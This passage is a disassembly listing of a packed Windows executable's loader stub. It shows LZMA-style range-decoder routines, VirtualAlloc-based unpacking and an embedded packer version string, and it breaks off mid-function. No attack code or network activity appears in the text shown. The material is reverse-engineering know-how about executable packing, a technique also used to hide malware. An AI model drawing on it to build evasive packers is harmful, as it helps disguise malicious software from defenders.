aGetmodulefil_2	db 'GetModuleFileNameA',0
		align 4
		dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 2D50000h,	72707377h, 66746E69h, 1DE0041h
		dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h
		dd 6C6Ch
; ---------------------------------------------------------------------------


loc_438338:				; DATA XREF: sub_4392B8+E5o
		and	ah, [edi+2Fh]
		retf
; ---------------------------------------------------------------------------
		cmp	ch, [ebx+409C11D2h]
		add	al, al
		dec	edi
		mov	ds:67233E0Ah, eax ; DATA XREF: sub_4392B8+EAo
		das
		retf
; ---------------------------------------------------------------------------
		dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438358	proc near		; CODE XREF: sub_4385EB+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_4383B0
		push	ebx
		mov	[ebp+arg_0], edx


loc_438373:				; CODE XREF: sub_438358+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_43837F
		sub	edi, esi
		or	al, 1


loc_43837F:				; CODE XREF: sub_438358+21j
		cmp	esi, 1000000h
		jnb	short loc_4383AA
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_43839D
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_4383A2
; ---------------------------------------------------------------------------


loc_43839D:				; CODE XREF: sub_438358+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx


loc_4383A2:				; CODE XREF: sub_438358+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx


loc_4383AA:				; CODE XREF: sub_438358+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_438373
		pop	ebx


loc_4383B0:				; CODE XREF: sub_438358+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_438358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4383BA	proc near		; CODE XREF: sub_43847F+1Dp
					; sub_4384B6+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_43842B
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_438427
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_43840E
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_438413
; ---------------------------------------------------------------------------


loc_43840E:				; CODE XREF: sub_4383BA+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi


loc_438413:				; CODE XREF: sub_4383BA+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax


loc_438427:				; CODE XREF: sub_4383BA+3Fj
		xor	eax, eax
		jmp	short loc_43847C
; ---------------------------------------------------------------------------


loc_43842B:				; CODE XREF: sub_4383BA+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_43847C
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_438462
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_438467
; ---------------------------------------------------------------------------


loc_438462:				; CODE XREF: sub_4383BA+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi


loc_438467:				; CODE XREF: sub_4383BA+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx


loc_43847C:				; CODE XREF: sub_4383BA+6Fj
					; sub_4383BA+96j
		pop	edi
		pop	esi
		retn
sub_4383BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43847F	proc near		; CODE XREF: sub_438576+26p
					; sub_438576+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_4384AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]


loc_438490:				; CODE XREF: sub_43847F+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_4383BA
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_438490
		pop	edi
		pop	esi


loc_4384AA:				; CODE XREF: sub_43847F+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_43847F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4384B6	proc near		; CODE XREF: sub_4385EB+2F5p
					; sub_4385EB+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_4384EC
		push	esi


loc_4384C6:				; CODE XREF: sub_4384B6+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_4383BA
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_4384C6
		pop	esi


loc_4384EC:				; CODE XREF: sub_4384B6+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_4384B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4384F1	proc near		; CODE XREF: sub_4385EB+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_4383BA
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2


loc_438520:				; CODE XREF: sub_4384F1+5Fj
		cmp	esi, eax
		jnz	short loc_438552
		cmp	ebx, 100h
		jge	short loc_43856F
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_4383BA
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_438520
; ---------------------------------------------------------------------------


loc_438552:				; CODE XREF: sub_4384F1+31j
		mov	esi, 100h


loc_438557:				; CODE XREF: sub_4384F1+7Cj
		cmp	ebx, esi
		jge	short loc_43856F
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4383BA
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_438557
; ---------------------------------------------------------------------------


loc_43856F:				; CODE XREF: sub_4384F1+39j
					; sub_4384F1+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4384F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_438576	proc near		; CODE XREF: sub_4385EB+24Fp
					; sub_4385EB+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_4383BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4385A6
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_43847F
		add	esp, 0Ch
		jmp	short loc_4385E8
; ---------------------------------------------------------------------------


loc_4385A6:				; CODE XREF: sub_438576+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_4383BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4385D4
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_43847F
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_4385E8
; ---------------------------------------------------------------------------


loc_4385D4:				; CODE XREF: sub_438576+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_43847F
		add	esp, 0Ch
		add	eax, 10h


loc_4385E8:				; CODE XREF: sub_438576+2Ej
					; sub_438576+5Cj
		pop	edi
		pop	esi
		retn
sub_438576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4385EB	proc near		; CODE XREF: sub_438960+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_438653
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw


loc_438653:				; CODE XREF: sub_4385EB+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5


loc_438675:				; CODE XREF: sub_4385EB+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_438681
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_438689
; ---------------------------------------------------------------------------


loc_438681:				; CODE XREF: sub_4385EB+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]


loc_438689:				; CODE XREF: sub_4385EB+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_438675
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_438951


loc_4386AC:				; CODE XREF: sub_4385EB+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4383BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_438761
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_438701
		and	[ebp+var_4], 0
		jmp	short loc_438711
; ---------------------------------------------------------------------------


loc_438701:				; CODE XREF: sub_4385EB+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_43870D
		sub	[ebp+var_4], 3
		jmp	short loc_438711
; ---------------------------------------------------------------------------


loc_43870D:				; CODE XREF: sub_4385EB+11Aj
		sub	[ebp+var_4], 6


loc_438711:				; CODE XREF: sub_4385EB+114j
					; sub_4385EB+120j
		cmp	[ebp+var_14], 0
		jz	short loc_43873E
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_4384F1
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_43875C
; ---------------------------------------------------------------------------


loc_43873E:				; CODE XREF: sub_4385EB+12Aj
		push	1
		pop	ebx


loc_438741:				; CODE XREF: sub_4385EB+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4383BA
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_438741


loc_43875C:				; CODE XREF: sub_4385EB+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_4387D4
; ---------------------------------------------------------------------------


loc_438761:				; CODE XREF: sub_4385EB+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_4383BA
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_43885A
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_4383BA
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_4387E2
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4383BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_43882E
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]


loc_4387D4:				; CODE XREF: sub_4385EB+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_438945
; ---------------------------------------------------------------------------


loc_4387E2:				; CODE XREF: sub_4385EB+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_4383BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4387FA
		mov	eax, [ebp+var_10]
		jmp	short loc_438825
; ---------------------------------------------------------------------------


loc_4387FA:				; CODE XREF: sub_4385EB+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_4383BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_438816
		mov	eax, [ebp+var_C]
		jmp	short loc_43881F
; ---------------------------------------------------------------------------


loc_438816:				; CODE XREF: sub_4385EB+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx


loc_43881F:				; CODE XREF: sub_4385EB+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx


loc_438825:				; CODE XREF: sub_4385EB+20Dj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx


loc_43882E:				; CODE XREF: sub_4385EB+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_438576
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_43891E
; ---------------------------------------------------------------------------


loc_43885A:				; CODE XREF: sub_4385EB+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_438576
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_43889A
		jmp	short loc_43889D
; ---------------------------------------------------------------------------


loc_43889A:				; CODE XREF: sub_4385EB+2ABj
		push	3
		pop	eax


loc_43889D:				; CODE XREF: sub_4385EB+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_43847F
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_438915
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_4388EC
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_4384B6
		add	esp, 0Ch


loc_4388E8:				; CODE XREF: sub_4385EB+328j
		add	ebx, eax
		jmp	short loc_43891A
; ---------------------------------------------------------------------------


loc_4388EC:				; CODE XREF: sub_4385EB+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_438358
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_4384B6
		add	esp, 14h
		jmp	short loc_4388E8
; ---------------------------------------------------------------------------


loc_438915:				; CODE XREF: sub_4385EB+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax


loc_43891A:				; CODE XREF: sub_4385EB+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx


loc_43891E:				; CODE XREF: sub_4385EB+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_438951
		inc	edi
		inc	edi


loc_438926:				; CODE XREF: sub_4385EB+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_438945
		cmp	ecx, [ebp+arg_20]
		jb	short loc_438926


loc_438945:				; CODE XREF: sub_4385EB+1F2j
					; sub_4385EB+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_4386AC


loc_438951:				; CODE XREF: sub_4385EB+BBj
					; sub_4385EB+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4385EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438960	proc near		; CODE XREF: start+1A2p start+25Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_4389D2
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_438990
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax


loc_43898A:				; CODE XREF: sub_438960+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_43898A


loc_438990:				; CODE XREF: sub_438960+1Bj
		cmp	cl, 9
		jb	short loc_4389A7
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax


loc_4389A1:				; CODE XREF: sub_438960+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_4389A1


loc_4389A7:				; CODE XREF: sub_438960+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	ds:dword_438238	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_4389D7


loc_4389D2:				; CODE XREF: sub_438960+11j
		push	1
		pop	eax
		jmp	short loc_438A34
; ---------------------------------------------------------------------------


loc_4389D7:				; CODE XREF: sub_438960+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_4385EB
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_438234	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_439539
		add	esp, 14h
		mov	eax, edi


loc_438A34:				; CODE XREF: sub_438960+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_438960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: start+30o

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00439232 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		rep jmp	short loc_438A55
; ---------------------------------------------------------------------------
		db 65h,	58h, 50h
		dd 2E762D72h, 2E342E31h
		db 0
; ---------------------------------------------------------------------------


loc_438A55:				; CODE XREF: start+Dj
		mov	eax, ds:dword_438000
		add	eax, offset dword_438000
		mov	ds:off_438024, eax
		mov	eax, ds:off_438024
		mov	ecx, offset start
		sub	ecx, [eax+18h]
		mov	ds:dword_438028, ecx
		cmp	ds:dword_43802C, 0
		jz	short loc_438A96
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx
		jmp	loc_4391CD
; ---------------------------------------------------------------------------


loc_438A96:				; CODE XREF: start+45j
		mov	ds:dword_43802C, 1
		push	4
		push	1000h
		push	80h
		push	0
		call	ds:dword_438238	; VirtualAlloc
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 1
		jz	short loc_438AC1
		and	[ebp+arg_0], 0


loc_438AC1:				; CODE XREF: start+82j
		push	4
		push	1000h
		push	104h
		push	0
		call	ds:dword_438238	; VirtualAlloc
		mov	[ebp+var_14], eax
		push	104h
		push	[ebp+var_14]
		push	[ebp+arg_0]
		call	ds:dword_438250	; GetModuleFileNameA
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		mov	[ebp+var_58], eax


loc_438AF3:				; CODE XREF: start+CCj
		mov	eax, [ebp+var_58]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_438B07
		mov	eax, [ebp+var_58]
		dec	eax
		mov	[ebp+var_58], eax
		jmp	short loc_438AF3
; ---------------------------------------------------------------------------


loc_438B07:				; CODE XREF: start+C3j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_54], eax
		push	4
		push	1000h
		push	104h
		push	0
		call	ds:dword_438238	; VirtualAlloc
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		and	byte ptr [eax+1], 0
		mov	eax, ds:dword_438020
		shl	eax, 6
		mov	ecx, ds:dword_438028
		add	ecx, eax
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, ds:dword_438028
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, 0F8h
		mov	[ebp+var_40], eax
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_438BFA
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+80h]
		mov	ds:dword_4396BC, ecx
		mov	eax, ds:dword_4396BC
		mov	[ebp+var_3C], eax
		mov	eax, ds:off_438024
		mov	eax, [eax+8]
		mov	ds:dword_4396C0, eax
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+10h]
		mov	ds:off_4396B8, ecx
		push	ds:dword_4396BC
		mov	eax, ds:off_438024
		push	dword ptr [eax+4]
		push	ds:off_4396B8
		call	sub_438960
		add	esp, 0Ch
		mov	eax, ds:off_438024
		push	dword ptr [eax+6Ch]
		push	[ebp+var_3C]
		call	sub_4392B8
		pop	ecx
		pop	ecx
		jmp	loc_439230
; ---------------------------------------------------------------------------


loc_438BFA:				; CODE XREF: start+14Cj
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+64h], 0
		jz	loc_438D24
		push	4
		push	1000h
		mov	eax, ds:off_438024
		push	dword ptr [eax+4]
		push	0
		call	ds:dword_438238	; VirtualAlloc
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	ds:dword_4396BC, eax
		cmp	ds:dword_4396BC, 0
		jnz	short loc_438C4E
		push	30h
		push	[ebp+var_58]
		push	offset aErrorAllocat_0 ; "Error	allocating memory!"
		push	0
		call	ds:dword_438260	; MessageBoxA
		push	0
		call	ds:dword_43824C	; ExitProcess


loc_438C4E:				; CODE XREF: start+1F9j
		mov	eax, ds:off_438024
		mov	eax, [eax+8]
		mov	ds:dword_4396C0, eax
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+10h]
		mov	eax, ds:off_438024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	ds:off_4396B8, ecx
		push	ds:dword_4396BC
		mov	eax, ds:off_438024
		push	dword ptr [eax+4]
		push	ds:off_4396B8
		call	sub_438960
		add	esp, 0Ch
		jmp	short loc_438CA6
; ---------------------------------------------------------------------------


loc_438C9F:				; CODE XREF: start+2D4j
